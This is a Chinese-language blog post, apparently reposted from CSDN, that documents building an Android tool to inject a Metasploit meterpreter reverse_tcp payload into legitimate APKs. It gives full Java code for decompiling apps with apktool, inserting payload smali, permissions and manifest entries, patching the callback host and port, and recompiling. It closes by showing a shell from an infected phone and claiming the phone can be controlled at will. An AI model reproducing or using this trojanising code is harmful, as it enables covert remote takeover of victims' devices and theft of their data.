/声明:本文作者Kali_MG1937

csdn博客id:ALDYS4

QQ:3496925334

未经许可禁止转载!
/

注意,本文为作者从CSDN搬迁至此的文章

注意!此文章虽然 未被 作者标记到 黑历史 专栏中,

但由于本文为作者最初阶段时有了一点自我思考和感悟后写下的内容,

这意味着本篇文章依然可能存在 质量低下,流水账文,笔法低质 的问题

为了防止恁大脑降级,建议观看作者其他文章,,,

之前我已经分析过Metasploit中安卓载荷的构造并成功利用

那么这回就动手写一个关于这个项目的安卓工具

使得这个工具可以自动将恶意代码注入进正常的apk中

(分析过程详看我的第一篇博客:分析metasploit安卓载荷

开始构思

既然要实现载荷注入,那么首先就要实现反编译欲注入apk的功能了

打开github

说道安卓端的反编译,apktool.jar必不可少

apktool虽然是Java语言编写的,但毕竟是针对PC端的工具,在安卓上的应用还是有些麻烦

比如apktool中的一个类文件

brut.androlib.ApktoolProperties.java

InputStream in = ApktoolProperties.class.getResourceAsStream("/properties/apktool.properties");

这个类调用到getResourceAsStream方法来获取assest文件夹中的资源,而这种方法在android中无法实现(亲测,运行时报错,原因不明)

但android有专门针对assest资源调用的AssestManager类,只要调用其getAssest()方法就可以对assest中的文件进行io流操作

由于诸多条件的限制,我不可能花太多时间和精力来完善apktool,但幸运的是,apktool.jar安卓化已经被github开源作者imkiva实现了

他新建了一个类并构造了许多方法来容纳apktool的任性

补充上他优化过后的apktool:

Apktool for android

apktool的问题解决了,接下来就是一个难关:反编译

在搜索了大量资料后发现大多数人都是利用apktool中的ApkDecoder这个类中的decode()等等方法进行apk反编译的操作

但apktool的开发者一定会更加简洁地去包装整个反编译过程,我打开apktool的源代码,查找ApkDecoder这个类

发现这个类文件中的种种反编译与回编译的方法都与brut.apktool.Main这个类文件相关联

打开Main类,

发现这个类的main方法需要引入一个参数,程序将更具这个参数的具体内容进行相应操作,

补充Main的部分关键代码

    public static void main(String[] args) throws IOException, InterruptedException, BrutException {

        // set verbosity default
Verbosity verbosity = Verbosity.NORMAL; // cli parser
CommandLineParser parser = new PosixParser();
CommandLine commandLine = null; // load options
_Options(); try {
commandLine = parser.parse(allOptions, args, false);//取出arg中的字符
} catch (ParseException ex) {
System.err.println(ex.getMessage());
usage(commandLine);
return;
} //如下面的官方注释所描述,程序将检查arg中的具体内容并执行相应代码
// check for verbose / quiet
if (commandLine.hasOption("-v") || commandLine.hasOption("--verbose")) {
verbosity = Verbosity.VERBOSE;
} else if (commandLine.hasOption("-q") || commandLine.hasOption("--quiet")) {
verbosity = Verbosity.QUIET;
}
setupLogging(verbosity); // check for advance mode
if (commandLine.hasOption("advance") || commandLine.hasOption("advanced")) {
setAdvanceMode(true);
} // @todo use new ability of apache-commons-cli to check hasOption for non-prefixed items
boolean cmdFound = false;
for (String opt : commandLine.getArgs()) {
if (opt.equalsIgnoreCase("d") || opt.equalsIgnoreCase("decode")) {
cmdDecode(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("b") || opt.equalsIgnoreCase("build")) {
cmdBuild(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("if") || opt.equalsIgnoreCase("install-framework")) {
cmdInstallFramework(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("publicize-resources")) {
cmdPublicizeResources(commandLine);
cmdFound = true;
}
} // if no commands ran, run the version / usage check.
if (!cmdFound) {
if (commandLine.hasOption("version") || commandLine.hasOption("version")) {
_version();
} else {
usage(commandLine);
}
}
}

继续检查代码,我惊讶地发现其中调用到的cmdBuild,cmdDecode等方法不就完美包装着反编译,回编译等操作吗

那么利用之前我在第一篇博客中对安卓载荷的分析结果,并注入相应smail代码进行回编译的操作也完美解决了

只需要传入Main类的main方法一个值就可以了,自己包装几个方法去实现它就更加简单了

开始工程

首先新建一个Cmd类去包装apktool命令的方法,

补充代码

public class Cmd
{
public static List<string> cmd;
public static void start()
{
cmd=new ArrayList<string>();
}
public static void add(String a)
{
cmd.add(a);
}
public static String[] get()
{
return cmd.toArray(new String[cmd.size()]);
}
public static String getString()
{ StringBuilder sb=new StringBuilder();
for(String s:Cmd.get())
{
sb.append(s);
sb.append("\n");
}
return sb.toString();
}
public static void setArray(String[] s)
{ Cmd.start();
for(String ss:s)
{
cmd.add(ss);
}
} public void apkDecompile(String apk,String out)
{
start();
cmd.add("d");
cmd.add(apk);
cmd.add("-o");
cmd.add(out);
cmd.add("-f");
cmd.add("-b");
}
public void apkDecompileRes(String src,String apk)
{
start();
cmd.add("d");
cmd.add(src);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f");
cmd.add("-r");
cmd.add("-c");
} public void apkDecompileDex(String src,String apk)
{
start();
cmd.add("d");
cmd.add(src);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f");
cmd.add("-s");
} public void apkCompile(String src,String aapt,String apk)
{ start();
cmd.add("b");
cmd.add(src);
cmd.add("-a");
cmd.add(aapt);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f"); }
}

安卓载荷的smail代码我已经提取出来并放在项目的assests文件夹中,接下来需要做的就是释放assest中的smail资源并修改smail中所有的类名并替换smali代码中的f类的a成员的具体内容(关于控制回弹地址的f类还是看我第一篇分析meterpreter安卓载荷的博客吧)

新建PayloadInject类和FileControl类

public class PayloadInject
{
//删除内容方法
public static void DeletIn(String file,String place) throws FileNotFoundException, IOException{
BufferedReader br=new BufferedReader(new FileReader(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
String str="";
StringBuffer sb=new StringBuffer();
while((str=br.readLine())!=null){
sb.append(str+"\n");
}
str=sb.toString().replace(place,"");
BufferedWriter bw=new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
bw.write(str);
bw.close();
} //新的插入方法_replace替换
public static void injectIn(String file,String place,String inject) throws FileNotFoundException, IOException{
BufferedReader br=new BufferedReader(new FileReader(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
String str="";
StringBuffer sb=new StringBuffer();
while((str=br.readLine())!=null){
sb.append(str+"\n");
}
str=sb.toString();
StringBuffer change=sb.replace(str.indexOf(place),str.indexOf(place)+place.length(),place+"\n"+inject);
BufferedWriter bw=new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
bw.write(change.toString());
bw.close();
} public static void AllInject(String com)
{ try
{
File file=new File("/sdcard/inject_msf");
File[] files=file.listFiles();//遍历目录下所有文件
for (File f:files)
{
System.out.println(f);
BufferedReader br=new BufferedReader(new FileReader(f));//依次读取文件内容
try
{ String str;
CharArrayWriter cw=new CharArrayWriter();
while ((str = br.readLine()) != null)
{
str = str.replace("Lcom/metasploit/stage/", "L" + com.replace(".", "/") + "/");//替换包名
System.out.println(str);
//System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator")); }
br.close();
FileWriter fw=new FileWriter(f);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{}
finally
{if (br != null)
{br.close();}}
}
}
catch (FileNotFoundException e)
{}
catch (IOException e)
{}
} public static void injectLhost(String lhost,String lport) throws IOException{
File file=new File("/sdcard/inject_msf/f.smali");
BufferedReader br=new BufferedReader(new FileReader(file));
try
{
String str;
CharArrayWriter cw=new CharArrayWriter(); while((str=br.readLine())!=null){
str=str.replaceAll("tcp://192.168.2.200:6666","tcp://"+lhost+":"+lport);//替换ip和port
System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator"));
}
br.close();
FileWriter fw=new FileWriter(file);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{System.out.println(e);} } public static void inject(String com,String filename) throws IOException{
File file=new File("/sdcard/inject_msf/"+filename);
BufferedReader br=new BufferedReader(new FileReader(file));
try
{
String str;
CharArrayWriter cw=new CharArrayWriter(); while((str=br.readLine())!=null){
str=str.replaceAll("com.metasploit.stage.",com);//替换包名
System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator"));
}
br.close();
FileWriter fw=new FileWriter(file);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{System.out.println(e);} }

因为直接利用InputStream读取大文件会乱码,所以我利用BufferedWriter类来进行文件转移和写入操作

public class FileControl
{public static String ReadSDString(String filename) throws FileNotFoundException, IOException {
String msg="";
StringBuffer sb=new StringBuffer();
BufferedReader br=new BufferedReader(new FileReader(filename));
while((msg=br.readLine())!=null){
sb.append(msg+"\n");
}
return sb.toString();
}//读取文件内容 public static String ReadString(Context context,String filename) throws FileNotFoundException, IOException {
String msg="";
StringBuffer sb=new StringBuffer();
BufferedReader br=new BufferedReader(new FileReader(context.getFileStreamPath("inject/"+filename)));
while((msg=br.readLine())!=null){
sb.append(msg+"\n");
}
return sb.toString();
} public static void copyFolderFromAssets(Context context, String rootDirFullPath, String targetDirFullPath) {
Log.d("Tag", "copyFolderFromAssets " + "rootDirFullPath-" + rootDirFullPath + " targetDirFullPath-" + targetDirFullPath);
try {
String[] listFiles = context.getAssets().list(rootDirFullPath);// 遍历该目录下的文件和文件夹
for (String string : listFiles) {// 判断目录是文件还是文件夹,这里只好用.做区分了
Log.d("Tag", "name-" + rootDirFullPath + "/" + string);
if (isFileByName(string)) {// 文件
copyFileFromAssets(context, rootDirFullPath + "/" + string, targetDirFullPath + "/" + string);
} else {// 文件夹
String childRootDirFullPath = rootDirFullPath + "/" + string;
String childTargetDirFullPath = targetDirFullPath + "/" + string;
new File(childTargetDirFullPath).mkdirs();
copyFolderFromAssets(context, childRootDirFullPath, childTargetDirFullPath);
}
}
} catch (IOException e) {
Log.d("Tag", "copyFolderFromAssets " + "IOException-" + e.getMessage());
Log.d("Tag", "copyFolderFromAssets " + "IOException-" + e.getLocalizedMessage());
e.printStackTrace();
}
} private static boolean isFileByName(String string) {
if (string.contains(".")) {
return true;
}
return false;
} //从assets目录下拷贝文件 public static void copyFileFromAssets(Context context, String assetsFilePath, String targetFileFullPath) {
Log.d("Tag", "copyFileFromAssets ");
InputStream assestsFileImputStream;
try {
assestsFileImputStream = context.getAssets().open(assetsFilePath);
copyFile(assestsFileImputStream, targetFileFullPath);
} catch (IOException e) {
Log.d("Tag", "copyFileFromAssets " + "IOException-" + e.getMessage());
e.printStackTrace();
}
} public static void copyFile(InputStream in, String targetPath) {
try {
FileOutputStream fos = new FileOutputStream(new File(targetPath));
byte[] buffer = new byte[1024];
int byteCount = 0;
while ((byteCount = in.read(buffer)) != -1) {// 循环从输入流读取
// buffer字节
fos.write(buffer, 0, byteCount);// 将读取的输入流写入到输出流
}
fos.flush();// 刷新缓冲区
in.close();
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
} }

看样子载荷注入和文件提取都解决了,那么就开始进行反编译和注入了

bt.setOnClickListener(new OnClickListener(){

				@Override
public void onClick(View p1)
{final Cmd cmd=new Cmd();//cmd
final String file=ed.getText().toString();
cmd.start(); new Thread(new Runnable(){ @Override
public void run()
{runOnUiThread(new Runnable(){ @Override
public void run()
{ly.setVisibility(View.VISIBLE);
tv.append("\n开始反编译apk..."); // TODO: Implement this method
}
});
cmd.apkDecompile(file,Environment.getExternalStorageDirectory().toString()+"/msfapk");
try
{
apk.run(cmd.get());
}
catch (IOException e)
{}
catch (InterruptedException e)
{}
catch (BrutException e)
{}
runOnUiThread(new Runnable(){ @Override
public void run()
{tv.append("\n反编译完成!");
ly.setVisibility(View.GONE);
showInjectMessage();
// TODO: Implement this method
}
});
} }).start(); }
}); }

bt和tv参数就是Button和TextView了

反编译动作完成,开始注入载荷

因为注入任务需要独占线程可能会造成卡顿,所以我利用异步线程AsyncTask进行操作

	public class baksmalis extends AsyncTask<void,void,void>
{
StringBuffer sb=new StringBuffer();
String aaptdir="";
@Override
protected void onPreExecute()
{tv.append("\n注入开始...");
// TODO: Implement this method
super.onPreExecute();
} @Override
protected Void doInBackground(Void[] p1)
{ //注入包名信息
try
{
PayloadInject.inject(com + ".", "class2.txt");
}
catch (IOException e)
{}
//注入权限
try
{
String permission=FileControl.ReadSDString("/sdcard/inject_msf/permission.txt");
PayloadInject.injectIn("AndroidManifest.xml", "", permission);
//删除影响元素
PayloadInject.DeletIn("AndroidManifest.xml","android:resizeableActivity=\"true\"");
}
catch (IOException e)
{}
//注入意图
try
{
String Class=FileControl.ReadSDString("/sdcard/inject_msf/class.txt");
PayloadInject.injectIn("AndroidManifest.xml", "", "\n" + Class); }
catch (IOException e)
{}
//注入声明
try
{
String Class2=FileControl.ReadSDString("/sdcard/inject_msf/class2.txt");
PayloadInject.injectIn("AndroidManifest.xml", "", "\n" + Class2); }
catch (IOException e)
{}
//注入包名
PayloadInject.AllInject(com);
//注入启动服务
try
{
String Java=FileControl.ReadSDString("/sdcard/inject_msf/inject.txt");
PayloadInject.injectIn("smali/" + com.replace(".", "/") + "/" + java + ".smali", "onCreate(Landroid/os/Bundle;)V", "\n" + Java); }
catch (IOException e)
{}
//注入tcp
try
{
PayloadInject.injectLhost(lhost, lport);
}
catch (IOException e)
{}
//清道夫
String[] file=new String[]{"permission.txt","class.txt","class.txt","inject.txt"};
for(String f:file){
File files=new File("/sdcard/inject_msf/"+f);
files.delete();
}
//复制文件
String[] payload=new File("/sdcard/inject_msf/").list();
for(String str:payload){
try
{
InputStream in=new FileInputStream("/sdcard/inject_msf/" + str);
FileControl.copyFile(in, "/sdcard/msfapk/smali/" + com.replace(".", "/") + "/" + str); }
catch (FileNotFoundException e)
{}
} Cmd cmd=new Cmd();
aaptdir=Manage.copyfile(MainActivity.this,"aapt.mrp"); cmd.apkCompile(Environment.getExternalStorageDirectory().toString()+"/msfapk",aaptdir,Environment.getExternalStorageDirectory().toString()+"/msfapk.apk");
try
{
brut.apktool.Main.main(cmd.get());
}
catch (InterruptedException e)
{sb.append("\nInterrupted报错:\n"+e.toString());}
catch (BrutException e)
{sb.append("\nBrut报错\n"+e.toString());}
catch (IOException e)
{sb.append("\nIo流报错\n"+e.toString());}
// TODO: Implement this method
return null;
} @Override
protected void onPostExecute(Void result)
{if(sb.toString().equals("")){
tv.append("\n回编译执行完成!");
}else{tv.append("\n"+sb.toString());}
// TODO: Implement this method
super.onPostExecute(result);
} }

至此反编译和注入还有回编译都完成了,布局代码这里就不补充了,关于对回编译的apk进行签名的代码我懒得再写了,直接用其它签名软件签名就行

接下来编译代码看看效果

先编译一个没有任何行为的空项目

接着用注入工具将恶意代码注入这个空项目

接着输入对应的reverse_tcp信息



完成注入后的apk会输出在/sdcard/msfapk.apk



签名,安装



打开



回到kali,可以看到载荷已经反弹了一个shell



看看能不能访问sd卡



可以!

接下来就可以任意控制安装了病毒载荷的手机了!

接下来放上注入工具的开源和视频

/声明:开源作者即为本文作者Kali_MG1937

csdn博客id:ALDYS4

QQ:3496925334

未经许可禁止转载!
/


项目开源

测试视频

</void,void,void>

【Android编程】Java利用apktool编写Metasploit恶意后门注入工具的更多相关文章

  1. 利用Python编写Windows恶意代码!自娱自乐!勿用于非法用途!

    本文主要展示的是通过使用python和PyInstaller来构建恶意软件的一些poc. 利用Python编写Windows恶意代码!自娱自乐!勿用于非法用途!众所周知的,恶意软件如果影响到了他人的生 ...

  2. Android(java)学习笔记262:JNI之工具快速开发步骤

    下面通过一个案例说明一下,利用工具jni快速开发步骤 1.新建一个Android工程,命名为"03_对int数组加1",如下: 2. 在MainActivity.java中对add ...

  3. Android(java)学习笔记206:JNI之工具快速开发步骤

    下面通过一个案例说明一下,利用工具jni快速开发步骤 1.新建一个Android工程,命名为"03_对int数组加1",如下: 2. 在MainActivity.java中对add ...

  4. Android(java)学习笔记205:网易新闻RSS客户端应用编写逻辑过程

    1.我们的项目需求是编写一个新闻RSS浏览器,RSS(Really Simple Syndication)是一种描述和同步网站内容的格式,是使用最广泛的XML应用.RSS目前广泛用于网上新闻频道,bl ...

  5. Android(java)学习笔记148:网易新闻RSS客户端应用编写逻辑过程

    1.我们的项目需求是编写一个新闻RSS浏览器,RSS(Really Simple Syndication)是一种描述和同步网站内容的格式,是使用最广泛的XML应用.RSS目前广泛用于网上新闻频道,bl ...

  6. Android(java)学习笔记206:利用开源SmartImageView优化网易新闻RSS客户端

    1.我们自己编写的SmartImageView会有很多漏洞,但是我们幸运的可以在网上利用开源项目的,开源项目中有很多成熟的代码,比如SmartImageView都编写的很成熟的 国内我们经常用到htt ...

  7. Android(java)学习笔记257:JNI之helloword案例(利用NDK工具)

    1.逻辑思路过程图: 2.下面通过一个HelloWorld案例来说明一下JNI利用NDK开发过程(步骤) 分析:我们在Win7系统下编译的C语言代码,我们知道C语言依赖操作系统,不能跨平台,所以我们要 ...

  8. Android(java)学习笔记149:利用开源SmartImageView优化网易新闻RSS客户端

    1.我们自己编写的SmartImageView会有很多漏洞,但是我们幸运的可以在网上利用开源项目的,开源项目中有很多成熟的代码,比如SmartImageView都编写的很成熟的 国内我们经常用到htt ...

  9. Android(java)学习笔记201:JNI之helloword案例(利用NDK工具)

    1. 逻辑思路过程图: 2.下面通过一个HelloWorld案例来说明一下JNI利用NDK开发过程(步骤) 分析:我们在Win7系统下编译的C语言代码,我们知道C语言依赖操作系统,不能跨平台,所以我们 ...

随机推荐

  1. 详解 WebRTC 传输安全机制:一文读懂 DTLS 协议

    作者|进学 审校|泰一 DTLS (Datagram Transport Layer Security) 基于 UDP 场景下数据包可能丢失或重新排序的现实情况下,为 UDP 定制和改进的 TLS 协 ...

  2. RSS阅读器 - Reeder

    苹果生态圈内最佳RSS阅读器 - Reeder 好用就完事了

  3. Mac 右键强化工具-超级右键

    App Store 功能介绍 1.新建文件 默认支持新建:TXT/RTF/XML/Word/Excel/PPT/WPS文字/WPS表格/WPS演示/Pages/Numbers/keynote/Ai/P ...

  4. Tensorflow Probability Distributions 简介

    摘要:Tensorflow Distributions提供了两类抽象:distributions和bijectors.distributions提供了一系列具备快速.数值稳定的采样.对数概率计算以及其 ...

  5. window 10 删除文件夹需要管理员权限

    如果设了当前的账号有权限删除了, 还是显示删除里管理员则需要改: 按Win+R组合键,输入gpedit.msc点击确定: 在窗口边依次打开计算机配置--Windows设置--安全设置--本地策略--安 ...

  6. 【2020BUAA软件工程】个人博客作业

    个人作业博客 项目 内容 北航2020软工 班级博客 作业要求 具体要求 我的课程目标 学习软件工程,掌握团队合作,锻炼自我 作业在哪个方面帮助我实现目标 通读<构建之法>,尝试理解软件工 ...

  7. rabbitmq介绍以及初步使用

    什么是MQ? ​ MQ(Message Queue):翻译为消息队列,通过典型的生产者和消费者模型,生产者不断向消息队列中生产消息,消费者不断地从队列中获取消息.因为消息的生产和消费都是异步的,而且只 ...

  8. 《Spring 手撸专栏》第 3 章:初显身手,运用设计模式,实现 Bean 的定义、注册、获取

    作者:小傅哥 博客:https://bugstack.cn 沉淀.分享.成长,让自己和他人都能有所收获! 一.前言 你是否能预见复杂内容的设计问题? 讲道理,无论产品功能是否复杂,都有很大一部分程序员 ...

  9. [Java] 类库例题

    例1 字符串操作 定义一个StringBuffer类对象,然后通过append()方法向对象中添加26个小写字母,每次只添加一次,共添加26次,然后按逆序方式输出,并且可以删除前5个字符 面向过程实现 ...

  10. [bug] IDEA编译时出现 Information:java: javacTask: 源发行版 1.8 需要目标发行版 1.8

    原因 jdk版本选低了 解决 将以下几处jdk版本修改为1.8 Project Structure(File->Project Structure...)>Sources>Langu ...